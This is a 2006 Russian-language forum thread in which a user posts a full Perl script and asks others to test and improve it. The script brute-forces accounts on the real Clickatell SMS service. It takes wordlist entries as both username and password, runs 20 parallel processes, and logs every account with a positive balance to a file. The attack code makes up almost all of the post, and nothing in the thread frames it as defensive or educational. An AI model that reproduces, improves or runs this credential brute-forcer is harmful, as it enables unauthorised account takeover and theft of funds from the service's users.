Протестите скрипт
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
Протестите скрипт - 2006-04-13 23:12:02
|
|
|
dnk_704
Сообщений: 8
Оценки: 0
Присоединился: 2006-03-24 18:03:06
|
Кому не лень протестите скрипт и выскажите свои недовольства или предложения.
буду очень признателен.
этот скрипт брутает логин и пароль к кликателю.
#####################################################
# This is DNK_704 Sсгiрt releas [clik_v_1.0.pl] #
# This Sсгiрt brutforsing Clickatell servis #
# If you have a problem on a this Sсгiрt, #
# My ICQ: 61668905 #
#####################################################
#!/usr/bin/perl
use IO::Socket;
use HTTP::Cookies;
use LWP;
########################Conf##########################
$url = "http://mpro.clickatell.com/central/login.php";
$passlist = "list.txt";
$rezult = "Accounts.txt";
$threads = 20;
######################################################
open(LIST,$passlist) or die "No found WordList. Pleas create list.txt file\n";
while($user=<LIST>)
{
chomp($user);
push(@pass,$user);
if(scalar @pass eq $threads)
{
for($i=0;$i<=$threads-1;$i++)
{
if ($pid=fork())
{
push(@forked,$pid);
}
else
{
print " Now : $pass[$i] \n";
CONN($pass[$i]);
exit;
}
}
killall();
unlink("cookies.txt");
}
}
###############################################################
sub CONN
{
$socket = IO::Socket::INET->new(PeerAddr => ''196.7.150.222'',
PeerPort => ''80'',
Proto => ''tcp'') or die "No connect to Clickatell server\n";
print $socket "GET /central/login.php?username=$_[0]&password=$_[0] HTTP/1.1\r\n";
print $socket "Host: mpro.clickatell.com\r\n\r\n";
$otvet=<$socket>;
if($otvet=~/HTTP\/1.1 302 Found/)
{
$agent = LWP::UserAgent->new;
$agent->cookie_jar(HTTP::Cookies->new(file => "cookies.txt",autosave => 1));
$res = $agent->post($url,[''username'' => $_[0], ''password'' => $_[0]]);
$filesout = "tmp.txt";
$res = $agent->get(''http://mpro.clickatell.com/central/mpro_header.php'','':content_file'' => $filesout);
open(PARS,"tmp.txt");
while($str=<PARS>)
{
chomp($str);
if($str =~/(450)(\D{3})(\d*)(.)(\d*)/)
{
if($3>0)
{
open(ACC,">>$rezult");
print ACC "User:$_[0]————Balans:$3\n";
close(ACC);
}
}
}
close(PARS);
}
close($socket);
unlink("tmp.txt");
}
###############################################################
sub killall
{
foreach $pid (@forked)
{
chomp;
waitpid($pid,0);
kill("TERM" => $pid);
}
undef @forked;
undef @pass;
}
###############################################################
|
|
|
|
|
Протестите скрипт - 2006-04-13 23:15:23
|
|
|
Python
Сообщений: 4964
Оценки: 0
Присоединился: 2005-12-14 08:32:13
|
Dnk_704, ну ты даешь… Я бы поленился стока писать [sm=8.gif]
|
|
|
|
|
Протестите скрипт - 2006-04-13 23:22:52
|
|
|
dnk_704
Сообщений: 8
Оценки: 0
Присоединился: 2006-03-24 18:03:06
|
этот ответ расценивать как факт уважения к проделанной работе,
или насмешку над якобы пустой тратой времени?
Жду отзывов о работе скрипта, и предложений по улучшению.
|
|
|
|
|
|
